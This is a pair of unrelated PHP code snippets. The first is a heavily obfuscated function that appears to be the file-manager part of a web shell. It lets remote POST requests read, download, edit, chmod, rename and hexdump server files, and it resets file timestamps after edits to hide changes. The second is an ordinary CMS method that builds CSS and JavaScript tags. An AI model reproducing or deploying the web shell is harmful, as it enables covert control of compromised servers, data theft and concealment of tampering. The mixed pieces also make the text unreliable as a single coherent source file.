function aCtiONfILEstOolS() { if (isset($_POST[_≈сс::_ш┬('_' . '╩г', '_пп' . 'ц')])) { $_POST[_≈сс::_ш┬('_' . '≤√', '_в╕е')] = UrlDEcOde($_POST[_≈сс::_ш┬('_' . '╥' . 'н╥', '_' . 'ч╗')]); } if (@$_POST[_≈сс::_ш┬('_' . 'п║', '_╟⌡')] == _≈сс::_ш┬('_' . '╔' . '╛', '_╞в')) { if (@Is_FIlE($_POST[_≈сс::_ш┬('_╧' . '╘', '_╔╣')]) && @is_REaDabLe($_POST[_≈сс::_ш┬('_эмо', '_р┼' . 'я')])) { ob_StarT(_≈сс::_ш┬('_б╓', '_╤├о'), 010000); heAder(_≈сс::_ш┬('_у≥ё', '_≤л') . bASENAME($_POST[_≈сс::_ш┬('_┼┤' . '┴', '_' . 'ы┴п')])); if (FUNCtioN_ExiStS(_≈сс::_ш┬('_м├', '_≥лз'))) { $_д = @mIME_COntent_typE($_POST[_≈сс::_ш┬('_' . 'р├' . 'ф', '_' . 'т╩')]); HEader(_≈сс::_ш┬('_' . '▄⌠' . 'ф', '_├ю' . 'г') . $_д); } else { HEAder(_≈сс::_ш┬('_' . 'гз' . '╓', '_┬▀' . '▌')); } $_╔╛р = @fopEn($_POST[_≈сс::_ш┬('_ж≤┤', '_╜' . 'г')], _≈сс::_ш┬('_' . '┘' . 'ц', '_ие')); if ($_╔╛р) { while (!@fEOF($_╔╛р)) { echo @fREAd($_╔╛р, 02000); } FclOse($_╔╛р); } } exit; } if (@$_POST[_≈сс::_ш┬('_╟├' . 'ъ', '_ц█')] == _≈сс::_ш┬('_' . 'щ√', '_' . 'ё' . '╡')) { if (!FILE_eXIsTs($_POST[_≈сс::_ш┬('_' . '┴⌡', '_╓' . '╟')])) { $_╔╛р = @FOPeN($_POST[_≈сс::_ш┬('_' . '▒' . 'ю', '_т▒' . 'б')], _≈сс::_ш┬('_' . '╞' . '╥', '_' . 'цщ')); if ($_╔╛р) { $_POST[_≈сс::_ш┬('_ёя', '_' . 'з═')] = _≈сс::_ш┬('_' . 'ц╤', '_сьъ'); fcloSE($_╔╛р); } } } _н(); echo _≈сс::_ш┬('_' . 'хз' . 'р', '_╙' . 'ёп'); if (!File_ExiStS(@$_POST[_≈сс::_ш┬('_≤╩', '_' . '┴' . '≤')])) { echo _≈сс::_ш┬('_┤' . '▀', '_╙╚х'); _▌╩(); return; } $_■ = @posIX_geTPwUID(@fileOWNER($_POST[_≈сс::_ш┬('_' . '╝╗' . '├', '_╫' . 'я')])); if (!$_■) { $_■[_≈сс::_ш┬('_╩' . '╞', '_╠' . '═╞')] = @fILeOwNER($_POST[_≈сс::_ш┬('_ц╘', '_' . '≈' . '■⌡')]); $_▀я├[_≈сс::_ш┬('_ц╡' . 'о', '_' . '⌠√')] = @FileGrOUp($_POST[_≈сс::_ш┬('_' . 'х┬', '_╛мл')]); } else { $_▀я├ = @poSIx_gETgrgID(@fiLEgrOUP($_POST[_≈сс::_ш┬('_сь', '_' . 'х═' . '▌')])); } echo _≈сс::_ш┬('_фж' . '┴', '_╕╤≈') . HtmLSPeCiALCHaRS(@baSenAme($_POST[_≈сс::_ш┬('_' . 'я═' . '▓', '_┼┴э')])) . _≈сс::_ш┬('_┼╟' . 'р', '_┘│▀') . (IS_fiLe($_POST[_≈сс::_ш┬('_' . 'ъэ' . 'й', '_' . 'тж')]) ? _┌├к(fIlESIze($_POST[_≈сс::_ш┬('_' . '╡' . '├' . '▒', '_нв')])) : _≈сс::_ш┬('_зу', '_┘' . 'кю')) . _≈сс::_ш┬('_┬' . 'с', '_' . 'х▓') . _═├($_POST[_≈сс::_ш┬('_╝д▌', '_' . 'шы')]) . _≈сс::_ш┬('_ь■' . '╡', '_' . '╡' . 'ыъ') . $_■[_≈сс::_ш┬('_─' . 'к╖', '_▀╠ш')] . _≈сс::_ш┬('_' . 'в═▌', '_▀╚з') . $_▀я├[_≈сс::_ш┬('_▄' . '╫', '_≈╟' . '╣')] . _≈сс::_ш┬('_я╣', '_у╓' . 'л'); echo _≈сс::_ш┬('_⌡╩', '_' . 'ь⌡' . 'ы') . daTE(_≈сс::_ш┬('_з│' . '▒', '_к■' . 'ч'), fILEcTime($_POST[_≈сс::_ш┬('_лы', '_▒' . '╘л')])) . _≈сс::_ш┬('_' . '╖' . 'р┌', '_ж╚') . daTE(_≈сс::_ш┬('_' . '╟п', '_' . '╛' . 'ъ'), fILEaTIMe($_POST[_≈сс::_ш┬('_' . 'у▓', '_' . 'йх')])) . _≈сс::_ш┬('_ил', '_▄' . '▌' . '▒') . DAte(_≈сс::_ш┬('_▄┤ь', '_с┘м'), fiLemtIme($_POST[_≈сс::_ш┬('_▄' . '┤к', '_' . '╡√' . 'щ')])) . _≈сс::_ш┬('_б┬', '_ы│б'); if (empty($_POST[_≈сс::_ш┬('_╧жч', '_╞' . 'д')])) { $_POST[_≈сс::_ш┬('_' . 'н╞│', '_' . 'фюй')] = _≈сс::_ш┬('_' . 'э├', '_█' . '■' . 'х'); } if (iS_FILE($_POST[_≈сс::_ш┬('_ф╧', '_╕√')])) { $_║ = array(_≈сс::_ш┬('_' . 'я╙', '_' . '┌■'), _≈сс::_ш┬('_' . '╗' . 'г', '_═' . '╠'), _≈сс::_ш┬('_≤┴', '_' . 'шр'), _≈сс::_ш┬('_' . '═' . '√╧', '_' . 'ом' . '╜'), _≈сс::_ш┬('_' . '┬╙', '_╙' . '╙' . '√'), _≈сс::_ш┬('_ас≈', '_' . 'ь╠'), _≈сс::_ш┬('_▌╔' . '╤', '_а' . '▄х'), _≈сс::_ш┬('_ж╫' . '║', '_г╩┘')); } else { $_║ = array(_≈сс::_ш┬('_' . '└' . '▓╤', '_ч≤' . '╩'), _≈сс::_ш┬('_┼' . '└', '_╖' . 'н≈'), _≈сс::_ш┬('_г├' . '▒', '_' . 'ь╔й')); } foreach ($_║ as $_ю╫) { echo _≈сс::_ш┬('_├' . 'в', '_╙─в') . uRlenCoDE($_POST[_≈сс::_ш┬('_' . '╣' . 'к▓', '_' . '▌┼' . '┘')]) . _≈сс::_ш┬('_' . 'дх', '_┬' . 'ф') . StrToloWER($_ю╫) . _≈сс::_ш┬('_┌' . 'и⌡', '_' . '▄╟') . (STrTOLOwer($_ю╫) == @$_POST[_≈сс::_ш┬('_' . '⌠а' . '╡', '_ащ▐')] ? _≈сс::_ш┬('_' . '╔■ш', '_▀ф█') . $_ю╫ . _≈сс::_ш┬('_' . '∙─', '_улт') : $_ю╫) . _≈сс::_ш┬('_' . '⌠' . '╝' . '√', '_▐' . 'ф≈'); } echo _≈сс::_ш┬('_' . '│█', '_╝▀' . 'п'); switch ($_POST[_≈сс::_ш┬('_√' . '┬', '_' . '╔▌' . '≤')]) { case _≈сс::_ш┬('_' . '╠√', '_' . 'п╙'): echo _≈сс::_ш┬('_' . '╫' . 'л╙', '_≤я┤'); $_╔╛р = @fopeN($_POST[_≈сс::_ш┬('_╛╔▓', '_╖э')], _≈сс::_ш┬('_' . 'лу', '_к┤')); if ($_╔╛р) { while (!@fEof($_╔╛р)) { echo HtMLSpEcIalcHaRs(@fREad($_╔╛р, 02000)); } @fCLOSe($_╔╛р); } echo _≈сс::_ш┬('_жк', '_' . 'ё╧'); break; case _≈сс::_ш┬('_┴╔', '_' . 'ф├≤'): if (@is_readABlE($_POST[_≈сс::_ш┬('_▀' . '≥', '_' . '▒≥╔')])) { echo _≈сс::_ш┬('_' . '▐' . '┼б', '_я└'); $_╟щ = @higHlIght_FILe($_POST[_≈сс::_ш┬('_' . '╧' . '╟' . '╚', '_' . '═▓')], true); echo sTR_REpLAcE(array(_≈сс::_ш┬('_' . 'за', '_╩' . '≥'), _≈сс::_ш┬('_├' . 'й╘', '_' . 'я█' . '╓')), array(_≈сс::_ш┬('_╓√≥', '_' . 'идб'), _≈сс::_ш┬('_' . '║╡х', '_ш▒')), $_╟щ) . _≈сс::_ш┬('_' . 'д─' . 'ы', '_нт'); } break; case _≈сс::_ш┬('_┤жэ', '_чзъ'): if (!empty($_POST[_≈сс::_ш┬('_' . 'в╠', '_жь' . 'в')])) { $_┼┤ = 00; for ($_╧╞│ = strlEN($_POST[_≈сс::_ш┬('_╔┬', '_' . 'чу║')]) - 01; $_╧╞│ >= 00; --$_╧╞│) { $_┼┤ += (int) $_POST[_≈сс::_ш┬('_' . 'ь≥', '_' . '┌' . 'з')][$_╧╞│] * pOw(010, STrleN($_POST[_≈сс::_ш┬('_' . '│■┌', '_' . '╗╣')]) - $_╧╞│ - 01); } if (!@chmOD($_POST[_≈сс::_ш┬('_' . '▓в', '_вж╫')], $_┼┤)) { echo _≈сс::_ш┬('_гр' . '═', '_⌡┌и'); } } cLEARStAtcaCHE(); echo _≈сс::_ш┬('_х╜' . 'ё', '_пъ') . UrLEncODE($_POST[_≈сс::_ш┬('_' . 'ыс', '_╟≥' . 'к')]) . _≈сс::_ш┬('_╗' . 'щф', '_щ■' . '■') . suBSTr(SPRINTF(_≈сс::_ш┬('_╚з', '_═ф'), FiLEPERmS($_POST[_≈сс::_ш┬('_' . '≈▄' . '╗', '_' . 'ь⌡│')])), -04) . _≈сс::_ш┬('_к╩' . 'л', '_█' . 'ц╣'); break; case _≈сс::_ш┬('_▓┘р', '_ечп'): if (!IS_WRITABle($_POST[_≈сс::_ш┬('_╫' . 'ж╤', '_▒' . '╚┬')])) { echo _≈сс::_ш┬('_║м', '_≥' . '▒'); break; } if (!empty($_POST[_≈сс::_ш┬('_' . 'д╧м', '_е≤х')])) { $_▌щм = @Filemtime($_POST[_≈сс::_ш┬('_╧└' . '╞', '_' . '█≈' . 'е')]); $_POST[_≈сс::_ш┬('_│▓' . '▀', '_шсл')] = suBsTr($_POST[_≈сс::_ш┬('_яр' . 'я', '_' . '╥║' . '┼')], 01); $_╔╛р = @FoPEn($_POST[_≈сс::_ш┬('_▓╞', '_≤ф')], _≈сс::_ш┬('_ют', '_с▌')); if ($_╔╛р) { @FwriTE($_╔╛р, $_POST[_≈сс::_ш┬('_┤ъ│', '_' . '⌡└─')]); @FcLOsE($_╔╛р); echo _≈сс::_ш┬('_' . 'хъ', '_ы╗' . 'ж'); @TouCh($_POST[_≈сс::_ш┬('_' . 'гэ', '_ьа' . 'я')], $_▌щм, $_▌щм); } } echo _≈сс::_ш┬('_▐╖', '_ны') . UrlenCOdE($_POST[_≈сс::_ш┬('_│' . 'п┤', '_' . '╙с')]) . _≈сс::_ш┬('_' . '≤║╝', '_√╚' . 'р'); $_╔╛р = @FopEn($_POST[_≈сс::_ш┬('_╙╫', '_├' . '┬')], _≈сс::_ш┬('_╙' . '▌', '_пр')); if ($_╔╛р) { while (!@FEOF($_╔╛р)) { echo htMLspeciaLCharS(@freaD($_╔╛р, 02000)); } @fCloSe($_╔╛р); } echo _≈сс::_ш┬('_' . '╗' . '╔┴', '_∙м'); break; case _≈сс::_ш┬('_' . '╚╕' . '╔', '_д╧' . '▄'): $_┼┘╓ = @FIlE_geT_CONtENTs($_POST[_≈сс::_ш┬('_║о', '_┌ё▒')]); $_╫≥ = 00; $_⌡х = array(_≈сс::_ш┬('_┼' . '╣', '_' . 'фкв'), _≈сс::_ш┬('_' . 'мъ', '_щц' . '█'), _≈сс::_ш┬('_ьёт', '_ы╓')); $_▀╔└ = STrlen($_┼┘╓); for ($_╧╞│ = 00; $_╧╞│ < $_▀╔└; ++$_╧╞│) { $_⌡х[01] .= sPRIntf(_≈сс::_ш┬('_╛╝╧', '_■й'), ORd($_┼┘╓[$_╧╞│])) . _≈сс::_ш┬('_═╝╥', '_' . 'бр╤'); switch (ORD($_┼┘╓[$_╧╞│])) { case 00: $_⌡х[02] .= _≈сс::_ш┬('_' . '⌠─', '_' . 'ег'); break; case 011: $_⌡х[02] .= _≈сс::_ш┬('_' . '≥≈щ', '_' . '≈вн'); break; case 012: $_⌡х[02] .= _≈сс::_ш┬('_яе' . '┼', '_' . 'у▓' . '║'); break; case 015: $_⌡х[02] .= _≈сс::_ш┬('_╣ы', '_' . '╙щ'); break; default: $_⌡х[02] .= $_┼┘╓[$_╧╞│]; break; } $_╫≥++; if ($_╫≥ == 040) { $_╫≥ = 00; if ($_╧╞│ + 01 < $_▀╔└) { $_⌡х[00] .= sPrintf(_≈сс::_ш┬('_╙╟', '_║≤'), $_╧╞│ + 01) . _≈сс::_ш┬('_' . 'сс', '_п╘м'); } $_⌡х[01] .= _≈сс::_ш┬('_кдк', '_≈╫л'); $_⌡х[02] .= _≈сс::_ш┬('_╤╘╫', '_' . 'мй'); } } echo _≈сс::_ш┬('_▌┼', '_⌡лп') . $_⌡х[00] . _≈сс::_ш┬('_' . '╥ку', '_' . 'ю╖') . $_⌡х[01] . _≈сс::_ш┬('_' . '▐эр', '_⌡' . '√╫') . hTmLspEcIalcHaRs($_⌡х[02]) . _≈сс::_ш┬('_∙э║', '_хш' . '└'); break; case _≈сс::_ш┬('_╣' . '╔', '_▄' . 'ъ╥'): if (!empty($_POST[_≈сс::_ш┬('_' . 'у█у', '_▐∙╠')])) { if (!@reName($_POST[_≈сс::_ш┬('_ы≥╝', '_' . '┌р╘')], $_POST[_≈сс::_ш┬('_╣ш', '_⌡' . 'э')])) { echo _≈сс::_ш┬('_р╖', '_■│'); } else { die(_≈сс::_ш┬('_╗' . 'т', '_▒' . 'г') . uRLeNCodE($_POST[_≈сс::_ш┬('_╫' . '⌡', '_' . '▒й')]) . _≈сс::_ш┬('_' . '╩' . '√⌠', '_└' . '═')); } } echo _≈сс::_ш┬('_' . '■╞э', '_≥╟й') . URlEnCOde($_POST[_≈сс::_ш┬('_' . 'ью', '_╗' . '╖')]) . _≈сс::_ш┬('_' . '═' . 'э', '_' . '│╥') . HtmlSPeCialcHARs($_POST[_≈сс::_ш┬('_▐' . '┤' . 'ф', '_ас')]) . _≈сс::_ш┬('_яц', '_≥р'); break; case _≈сс::_ш┬('_рд' . 'ч', '_╡╞' . 'ъ'): if (!empty($_POST[_≈сс::_ш┬('_╣' . 'ь▓', '_╫' . '┴')])) { $_▌щм = StRTotime($_POST[_≈сс::_ш┬('_▌╛' . '≈', '_' . '═' . '')]); if ($_▌щм) { if (!toUCh($_POST[_≈сс::_ш┬('_≈' . '╫', '_' . 'й■' . 'м')], $_▌щм, $_▌щм)) { echo _≈сс::_ш┬('_┼' . 'з', '_е╟'); } else { echo _≈сс::_ш┬('_▀' . '║', '_яэ╥'); } } else { echo _≈сс::_ш┬('_ре', '_' . 'чж'); } } cLEarSTaTcAcHE(); echo _≈сс::_ш┬('_ух' . 'б', '_╧' . '╩' . '╤') . uRlENcODE($_POST[_≈сс::_ш┬('_╚п', '_┘' . 'я')]) . _≈сс::_ш┬('_╖' . 'о', '_' . 'м╠') . DAtE(_≈сс::_ш┬('_╞' . '⌠ъ', '_╞' . '═'), @fILemTImE($_POST[_≈сс::_ш┬('_фчя', '_╕│')])) . _≈сс::_ш┬('_' . '╛л', '_╠ую'); break; } echo _≈сс::_ш┬('_' . 'у║', '_├╩'); _▌╩(); }
/** * The HTML CSS/JS Element creator * * @version 1 * @author Rick de Man <*****@*****.**> * * @param string $Type * The element to be created CSS|JS * @param string $File * The location of the file * @return boolean|string The HTML Hidden Head part, or false when failed */ private function HTML_CreateElement($Type, $File) { $_File = $File; // Check if the file name starts with WMS_ROOT ( Absoulte path ) if (startsWith(WMS_ROOT, $_File)) { // Remove WMS_ROOT, 'relative path' $_File = substr($_File, strlen(WMS_ROOT)); } // File type must be lowercase $Type = strtolower($Type); // File type must be lowercase $FileN = strtolower($_File); // CSS file if ($Type == 'css') { // Check if *.css or *.min.css must be loaded $MinFile = $this->WMS['MinifyCss'] !== false; // Only passes MIN/MAX CSS files according to the Setup Settings if ($MinFile == true && stripos($FileN, '.min.css') !== false || $MinFile != true && stripos($FileN, '.min.css') === false) { // Check if an Bootstrap css is found if (preg_match('/bootstrap(\\.min){0,1}\\.css/i', $_File, $Match) == 1) { // Load the Context $Text = file_get_contents($File); // Locate the Version if (preg_match('/Bootstrap v(.{1,})\\(/', $Text, $Match) == 1) { // Store the version $this->BootsTrapVersion = $Match[1]; } } // Generate a Complete CSS Link element Link?timecode return '<link rel="stylesheet" type="text/css" href="' . $this->HTML_Root . $_File . '?' . Filemtime($File) . '">'; } // Return Failure return false; } // JS file if ($Type == 'js') { // Check if *.js or *.min.js must be loaded $MinFile = $this->WMS['MinifyJs'] !== false; // Only passes MIN/MAX JS files according to the Setup Settings if ($MinFile == true && stripos($FileN, '.min.js') !== false || $MinFile != true && stripos($FileN, '.min.js') === false) { // Return an HTML-5 Javascript Tag return '<script type="text/javascript" src="' . $this->HTML_Root . $_File . '?' . Filemtime($File) . '"></script>'; } // Return Failure return false; } // default value return false; }